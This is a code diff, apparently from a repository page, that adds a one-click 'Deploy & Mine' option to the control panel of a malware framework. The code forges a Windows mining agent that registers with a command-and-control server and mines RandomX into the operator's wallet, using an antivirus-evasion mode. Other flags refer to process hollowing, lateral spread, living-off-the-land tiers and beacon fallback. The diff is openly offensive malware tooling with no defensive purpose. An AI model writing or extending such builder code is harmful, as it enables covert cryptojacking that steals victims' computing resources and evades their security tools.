spread_kit: false,
|
||||||
|
gpu_enabled: false,
|
||||||
|
process_hollowing: false,
|
||||||
|
remote_aggressive: false,
|
||||||
|
fusion_enabled: false,
|
||||||
|
mining_mode: 'idle',
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -77,6 +77,7 @@ import {
|
|||||||
type MissionWizardStep,
|
type MissionWizardStep,
|
||||||
} from '../help/forgeMissionWizard';
|
} from '../help/forgeMissionWizard';
|
||||||
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
|
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
|
||||||
|
import { simpleMinePreset } from '../help/simpleDeploy';
|
||||||
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
|
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
|
||||||
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
|
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
|
||||||
import './BuilderPage.css';
|
import './BuilderPage.css';
|
||||||
@@ -854,6 +855,51 @@ export default function BuilderPage() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const handleDeployAndMine = async () => {
|
||||||
|
if (!form || building || missionBusy) return;
|
||||||
|
setError('');
|
||||||
|
setLastBuild(null);
|
||||||
|
const merged = normalizeForgeForm({
|
||||||
|
...applySmartForgeDefaults(form, { builds: recentBuilds, endpointCandidates }),
|
||||||
|
...simpleMinePreset(),
|
||||||
|
worker_name: form.worker_name?.trim() || suggestWorkerName(recentBuilds),
|
||||||
|
wallet: form.wallet,
|
||||||
|
server_url: form.server_url,
|
||||||
|
pool_host: form.pool_host,
|
||||||
|
pool_port: form.pool_port,
|
||||||
|
pool_tls: form.pool_tls,
|
||||||
|
pool_pass: form.pool_pass,
|
||||||
|
});
|
||||||
|
setForm(merged);
|
||||||
|
setOperationMode('av_safe');
|
||||||
|
storeOperationMode('av_safe');
|
||||||
|
|
||||||
|
const checks = runForgePreflight(merged, !!fusionPrepFile);
|
||||||
|
if (preflightHasErrors(checks)) {
|
||||||
|
setError('Deploy & Mine preflight failed — set wallet + server URL in Calibrate/Forge first.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const cancelToken = crypto.randomUUID();
|
||||||
|
cancelTokenRef.current = cancelToken;
|
||||||
|
setBuilding(true);
|
||||||
|
try {
|
||||||
|
const result = await api.buildAgent({ ...merged, cancel_token: cancelToken }, fusionPrepFile);
|
||||||
|
if (!result.success) throw new Error(result.error || 'Build failed');
|
||||||
|
await finishForgeSuccess(result);
|
||||||
|
setBlueprintMsg('Deploy & Mine worker forged — run the .exe once on each host');
|
||||||
|
setTimeout(() => setBlueprintMsg(''), 5000);
|
||||||
|
} catch (err: unknown) {
|
||||||
|
if (err instanceof Error && err.message !== 'build cancelled') {
|
||||||
|
setError(err.message || 'Deploy & Mine forge failed');
|
||||||
|
void loadRecentBuilds();
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
cancelTokenRef.current = '';
|
||||||
|
setBuilding(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const applyRecommendedDefaults = async () => {
|
const applyRecommendedDefaults = async () => {
|
||||||
if (!form) return;
|
if (!form) return;
|
||||||
try {
|
try {
|
||||||
@@ -1386,11 +1432,25 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="forge-simple-banner card">
|
<div className="forge-simple-banner card">
|
||||||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
<p className="font-tech">DEPLOY & MINE — SIMPLE PATH</p>
|
||||||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
<p className="form-hint">
|
||||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
|
One click: in-process RandomX, no spread, no triple onion. Agent registers on C2, probes mining tiers,
|
||||||
Reset to recommended defaults
|
reports hashrate. "Deploy" = registry + mining — not lateral spread.
|
||||||
</button>
|
</p>
|
||||||
|
<div style={{ display: 'flex', flexWrap: 'wrap', gap: '0.5rem', marginTop: '0.5rem' }}>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-primary"
|
||||||
|
disabled={building || missionBusy || !canForge}
|
||||||
|
onClick={() => void handleDeployAndMine()}
|
||||||
|
>
|
||||||
|
{building ? 'Forging…' : 'Deploy & Mine'}
|
||||||
|
</button>
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
|
||||||
|
Reset recommended defaults
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<p className="form-hint" style={{ marginTop: '0.5rem', marginBottom: 0 }}>{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
<div className="form-group" style={{ marginBottom: '1rem' }}>
|
||||||
<label className="label">Operation mode presets <HelpTip field="forge_operation_mode" /></label>
|
<label className="label">Operation mode presets <HelpTip field="forge_operation_mode" /></label>
|
||||||
|
|||||||
@@ -36,6 +36,7 @@ import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../hel
|
|||||||
import { platformIcon } from '../help/platform';
|
import { platformIcon } from '../help/platform';
|
||||||
import AlsoHere from '../components/Presence/AlsoHere';
|
import AlsoHere from '../components/Presence/AlsoHere';
|
||||||
import { HelpTip } from '../components/HelpTip';
|
import { HelpTip } from '../components/HelpTip';
|
||||||
|
import ConnectedNotMiningBanner from '../components/Fleet/ConnectedNotMiningBanner';
|
||||||
import '../components/Fleet/FullSysCheckPanel.css';
|
import '../components/Fleet/FullSysCheckPanel.css';
|
||||||
import '../components/Fleet/FleetToolbar.css';
|
import '../components/Fleet/FleetToolbar.css';
|
||||||
import { TERM_RENDER_CAP, visibleTerminalLines } from '../help/terminalRenderCap';
|
import { TERM_RENDER_CAP, visibleTerminalLines } from '../help/terminalRenderCap';
|
||||||
@@ -1208,6 +1209,8 @@ export default function CruciblePage() {
|
|||||||
|
|
||||||
<AlsoHere page="/crucible" />
|
<AlsoHere page="/crucible" />
|
||||||
|
|
||||||
|
<ConnectedNotMiningBanner agents={agents} selectedIds={selectedIds} />
|
||||||
|
|
||||||
{reconHost && (
|
{reconHost && (
|
||||||
<NeonCard accent="magenta" className="crucible-recon-spread-card operator-deck-card operator-interactive" tilt3d={false}>
|
<NeonCard accent="magenta" className="crucible-recon-spread-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||||
<div className="crucible-section-title font-tech">
|
<div className="crucible-section-title font-tech">
|
||||||
|
|||||||
@@ -24,6 +24,7 @@ import { useFleetDeleteConfirm } from '../hooks/useFleetDeleteConfirm';
|
|||||||
import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||||
import ErrorBoundary from '../components/ErrorBoundary';
|
import ErrorBoundary from '../components/ErrorBoundary';
|
||||||
import { HelpTip } from '../components/HelpTip';
|
import { HelpTip } from '../components/HelpTip';
|
||||||
|
import ConnectedNotMiningBanner from '../components/Fleet/ConnectedNotMiningBanner';
|
||||||
|
|
||||||
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
|
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
|
||||||
const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
|
const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
|
||||||
@@ -444,6 +445,7 @@ export default function DashboardPage() {
|
|||||||
return (
|
return (
|
||||||
<div className="page fade-in command-deck operator-deck-page">
|
<div className="page fade-in command-deck operator-deck-page">
|
||||||
<AlertBanner alerts={alerts} />
|
<AlertBanner alerts={alerts} />
|
||||||
|
<ConnectedNotMiningBanner agents={agents} selectedIds={selectedIds} />
|
||||||
|
|
||||||
{/* Fleet Health — always above the fold */}
|
{/* Fleet Health — always above the fold */}
|
||||||
<FleetHealthCard health={fleetHealth} />
|
<FleetHealthCard health={fleetHealth} />
|
||||||
|
|||||||
@@ -402,6 +402,7 @@ export interface ServerSettings {
|
|||||||
fleet_torrent_enabled?: boolean;
|
fleet_torrent_enabled?: boolean;
|
||||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||||
triple_onion_policy?: {
|
triple_onion_policy?: {
|
||||||
|
simple_deploy?: boolean;
|
||||||
patch_first?: boolean;
|
patch_first?: boolean;
|
||||||
mine_isolated_tier?: boolean;
|
mine_isolated_tier?: boolean;
|
||||||
skip_mining_on_high_risk?: boolean;
|
skip_mining_on_high_risk?: boolean;
|
||||||
@@ -682,6 +683,8 @@ export interface BuildRequest {
|
|||||||
https_beacon_fallback?: boolean;
|
https_beacon_fallback?: boolean;
|
||||||
/** Minutes without WebSocket before HTTPS beacon (default 3). */
|
/** Minutes without WebSocket before HTTPS beacon (default 3). */
|
||||||
https_beacon_after_min?: number;
|
https_beacon_after_min?: number;
|
||||||
|
/** Skip triple-onion spread lanes; mine after C2 auth (Deploy & Mine). */
|
||||||
|
simple_deploy?: boolean;
|
||||||
/** LOTL Onion native-tool spread tier chain (LOTL Onion preset). */
|
/** LOTL Onion native-tool spread tier chain (LOTL Onion preset). */
|
||||||
lotl_onion_enabled?: boolean;
|
lotl_onion_enabled?: boolean;
|
||||||
/** Pull tier order from server on auth instead of baked list only. */
|
/** Pull tier order from server on auth instead of baked list only. */
|
||||||
|
|||||||
Reference in New Issue
Block a user